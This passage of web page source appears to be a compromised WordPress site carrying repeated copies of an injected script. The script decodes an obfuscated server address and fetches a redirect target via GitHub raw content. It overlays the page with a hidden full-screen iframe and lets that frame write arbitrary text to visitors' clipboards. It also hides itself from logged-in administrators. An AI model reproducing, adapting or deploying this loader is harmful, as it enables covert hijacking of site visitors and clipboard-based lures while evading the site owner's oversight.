= encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return 